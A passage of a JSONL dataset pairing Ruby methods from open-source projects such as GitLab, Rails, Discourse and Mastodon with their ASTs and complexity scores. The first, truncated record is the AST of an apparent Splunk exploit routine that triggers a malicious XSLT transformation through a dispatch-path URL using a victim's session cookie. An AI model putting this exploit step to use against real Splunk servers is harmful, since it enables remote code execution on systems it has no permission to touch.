str\",\"children\":[\"results\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_endpoint\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?xsl=/opt/splunk/var/run/splunk/dispatch/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_value\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RANDOM_FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\".xsl\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xslt_headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Splunk-Module\"]},{\"type\":\"str\",\"children\":[\"Splunk.Module.DispatchingModule\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"close\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Upgrade-Insecure-Requests\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Language\"]},{\"type\":\"str\",\"children\":[\"en-US,en;q=0.5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Encoding\"]},{\"type\":\"str\",\"children\":[\"gzip, deflate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie_string\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Triggering XSLT transformation at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_endpoint\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"exploit_endpoint\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"xslt_headers\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to trigger XSLT transformation: No response received\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"XSLT transformation triggered successfully\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to trigger XSLT transformation: Server returned status code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"084f2542-8c1b-449a-9f4a-93f671b6e771"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/user_action_spec.rb","start_line":191,"raw_source":"def likee_stream\n      UserAction.stream(user_id: likee.id, guardian: Guardian.new)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"likee_stream\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"likee\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\"]}]}]}]}]}","id":"a27c388c-11f7-47f2-9e91-7c7b7806a0ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/groups/pipelines/namespace_settings_pipeline.rb","start_line":17,"raw_source":"def transform(_context, data)\n          return unless data\n\n          data.first.symbolize_keys.slice(*allowed_attributes)\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"transform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_context\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"first\"]},\"symbolize_keys\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_attributes\"]}]}]}]}]}","id":"21c061c2-5189-4ce0-a5b3-c1536a857ada"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processor.rb","start_line":87,"raw_source":"def process_template_alias template\n      TemplateAliasProcessor.new(@tracker, template).process_safely template.src\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_template_alias\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TemplateAliasProcessor\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@tracker\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]},\"process_safely\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"src\"]}]}]}","id":"522ad997-bb42-4a0c-8aa2-ab302bced53f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/require_migration.rb","start_line":28,"raw_source":"def search_migration_file(file_name)\n      migration_file_pattern = /\\A\\d+_#{file_name}\\.rb\\z/\n\n      migration_folders.flat_map do |path|\n        migration_path = Rails.root.join(path).to_s\n\n        Find.find(migration_path).select { |m| migration_file_pattern.match? File.basename(m) }\n      end\n    end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"search_migration_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration_file_pattern\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\d+_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\\.rb\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_folders\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"to_s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Find\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"migration_path\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration_file_pattern\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]}]}]}]}]}","id":"c88d258c-0ea8-4cf9-9af7-bbfeec6a9c50"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":935,"raw_source":"def test_head_with_integer_status\n    Rack::Utils::HTTP_STATUS_CODES.each do |code, message|\n      get :head_with_integer_status, params: { status: code.to_s }\n      assert_equal message, @response.message\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_head_with_integer_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"HTTP_STATUS_CODES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"head_with_integer_status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"to_s\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"message\"]}]}]}]}]}","id":"d7940d9b-787d-49dc-851d-76c6de78adda"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/me_value_filter_mixin.rb","start_line":53,"raw_source":"def no_me_values\n    sanitized_values = values.reject { |v| v == me_value_key }\n    sanitized_values = sanitized_values.reject { |v| v == User.current.id.to_s } if has_me_value?\n\n    sanitized_values\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"no_me_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sanitized_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"me_value_key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_me_value?\"]},{\"type\":\"lvasgn\",\"children\":[\"sanitized_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sanitized_values\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"id\"]},\"to_s\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"sanitized_values\"]}]}]}","id":"220489ab-047a-4ac9-999c-52bdb2c5de14"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/media_attachment.rb","start_line":372,"raw_source":"def populate_meta\n    meta = (file.instance_read(:meta) || {}).with_indifferent_access.slice(*META_KEYS)\n\n    file.queued_for_write.each do |style, file|\n      meta[style] = style == :small || image? ? image_geometry(file) : video_metadata(file)\n    end\n\n    meta[:small] = image_geometry(thumbnail.queued_for_write[:original]) if thumbnail.queued_for_write.key?(:original)\n\n    meta\n  end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"populate_meta\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"meta\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"instance_read\",{\"type\":\"sym\",\"children\":[\"meta\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"with_indifferent_access\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"META_KEYS\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"queued_for_write\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"style\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meta\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"style\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"small\"]}]},{\"type\":\"send\",\"children\":[null,\"image?\"]}]},{\"type\":\"send\",\"children\":[null,\"image_geometry\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[null,\"video_metadata\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thumbnail\"]},\"queued_for_write\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"original\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meta\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"small\"]},{\"type\":\"send\",\"children\":[null,\"image_geometry\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thumbnail\"]},\"queued_for_write\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"meta\"]}]}]}","id":"396cca7b-277a-459a-8d7b-a50ae6c115fe"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":798,"raw_source":"def test_html_attributes_with_hash; skip # attribute escape\n    assert_equal(\"<a href='#' rel='top'>Foo</a>\\n\",\n      render('%a(href=\"#\" rel=\"top\") Foo'))\n    assert_equal(\"<a href='#'>Foo</a>\\n\",\n      render('%a(href=\"#\") #{\"Foo\"}'))\n\n    assert_equal(\"<a href='#\\\"'></a>\\n\", render('%a(href=\"#\\\\\"\")'))\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_html_attributes_with_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<a href='#' rel='top'>Foo</a>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%a(href=\\\"#\\\" rel=\\\"top\\\") Foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<a href='#'>Foo</a>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%a(href=\\\"#\\\") #{\\\"Foo\\\"}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<a href='#\\\"'></a>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%a(href=\\\"#\\\\\\\"\\\")\"]}]}]}]}]}","id":"56968b8e-771a-4cb3-9f06-921adc612512"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/generated_attribute.rb","start_line":180,"raw_source":"def foreign_key?\n        name.end_with?(\"_id\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"foreign_key?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"_id\"]}]}]}","id":"c1d5a1a5-90af-4ad2-a3b0-b998d3fa6655"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2json/line.rb","start_line":84,"raw_source":"def add_timestamp(value)\n          @timestamps << value if value\n        end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_timestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamps\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]}","id":"40d47227-ecb5-4137-aa04-15a14fed8707"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_scan/dispatcher.rb","start_line":149,"raw_source":"def concurrent_job_max_by_proxy(proxy)\n      @max_concurrent_job_hash ||= {}\n      key = \"#{proxy.class.name}_#{proxy.id}\"\n      return @max_concurrent_job_hash[key] if @max_concurrent_job_hash.key?(key) && !@max_concurrent_job_hash[key].nil?\n\n      @max_concurrent_job_hash[key] = proxy.concurrent_job_max\n    end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"concurrent_job_max_by_proxy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"proxy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@max_concurrent_job_hash\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proxy\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proxy\"]},\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_concurrent_job_hash\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_concurrent_job_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"nil?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_concurrent_job_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_concurrent_job_hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proxy\"]},\"concurrent_job_max\"]}]}]}]}","id":"cdcba617-3119-4a8d-9bca-690194f36ae9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/admin/plan_limits/update_service.rb","start_line":86,"raw_source":"def validate_storage_size_limit\n        return unless parsed_params.include?(:storage_size_limit)\n        return if unlimited_value?(:storage_size_limit)\n\n        if enforcement_limit > 0 && storage_size_limit > enforcement_limit\n          plan_limits.errors.add(\n            :dashboard_limit, \"must be less than or equal to the enforcement limit (#{enforcement_limit})\"\n          )\n        end\n\n        return unless notification_limit > 0 && storage_size_limit > notification_limit\n\n        plan_limits.errors.add(\n          :dashboard_limit, \"must be less than or equal to the notification limit (#{notification_limit})\"\n        )\n      end","complexity_score":31.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_storage_size_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_params\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"storage_size_limit\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unlimited_value?\",{\"type\":\"sym\",\"children\":[\"storage_size_limit\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enforcement_limit\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage_size_limit\"]},\">\",{\"type\":\"send\",\"children\":[null,\"enforcement_limit\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plan_limits\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"dashboard_limit\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"must be less than or equal to the enforcement limit (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enforcement_limit\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_limit\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage_size_limit\"]},\">\",{\"type\":\"send\",\"children\":[null,\"notification_limit\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plan_limits\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"dashboard_limit\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"must be less than or equal to the notification limit (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_limit\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"da51a5a7-cfae-4773-90b6-3a5742a0ccc8"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context_builder.rb","start_line":497,"raw_source":"def inside_new_context(klass, *args)\n      new_context = append_new_context(klass, *args)\n\n      orig, self.current_context = current_context, new_context\n      yield\n      self.current_context = orig\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"inside_new_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_context\",{\"type\":\"send\",\"children\":[null,\"append_new_context\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"orig\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_context=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_context\"]},{\"type\":\"lvar\",\"children\":[\"new_context\"]}]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_context=\",{\"type\":\"lvar\",\"children\":[\"orig\"]}]}]}]}","id":"278f9b89-a58c-4ace-b8e5-ecd7cb265051"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/gemini/images.rb","start_line":12,"raw_source":"def render_image_payload(prompt, model:, size:)\n          RubyLLM.logger.debug \"Ignoring size #{size}. Gemini does not support image size customization.\"\n          @model = model\n          {\n            instances: [\n              {\n                prompt: prompt\n              }\n            ],\n            parameters: {\n              sampleCount: 1\n            }\n          }\n        end","complexity_score":3.45,"ast_json":"{\"type\":\"def\",\"children\":[\"render_image_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prompt\"]},{\"type\":\"kwarg\",\"children\":[\"model\"]},{\"type\":\"kwarg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Ignoring size \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"str\",\"children\":[\". Gemini does not support image size customization.\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instances\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"lvar\",\"children\":[\"prompt\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sampleCount\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"8d82d548-5c0b-418c-9680-baaba48f5008"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/ai_bot/conversations_controller.rb","start_line":11,"raw_source":"def index\n        page = params[:page].to_i\n        per_page = params[:per_page]&.to_i || 40\n\n        base_query =\n          Topic\n            .private_messages_for_user(current_user)\n            .where(user: current_user) # Only show PMs where the current user is the author\n            .joins(\n              \"INNER JOIN topic_custom_fields tcf ON tcf.topic_id = topics.id\n                   AND tcf.name = '#{DiscourseAi::AiBot::TOPIC_AI_BOT_PM_FIELD}'\n                   AND tcf.value = 't'\",\n            )\n            .distinct\n\n        total = base_query.count\n        pms = base_query.order(last_posted_at: :desc).offset(page * per_page).limit(per_page)\n\n        render json: {\n                 conversations: serialize_data(pms, ListableTopicSerializer),\n                 meta: {\n                   total: total,\n                   page: page,\n                   per_page: per_page,\n                   has_more: total > (page + 1) * per_page,\n                 },\n               }\n      end","complexity_score":35.43,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[40]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"private_messages_for_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INNER JOIN topic_custom_fields tcf ON tcf.topic_id = topics.id\\n\"]},{\"type\":\"str\",\"children\":[\"                   AND tcf.name = 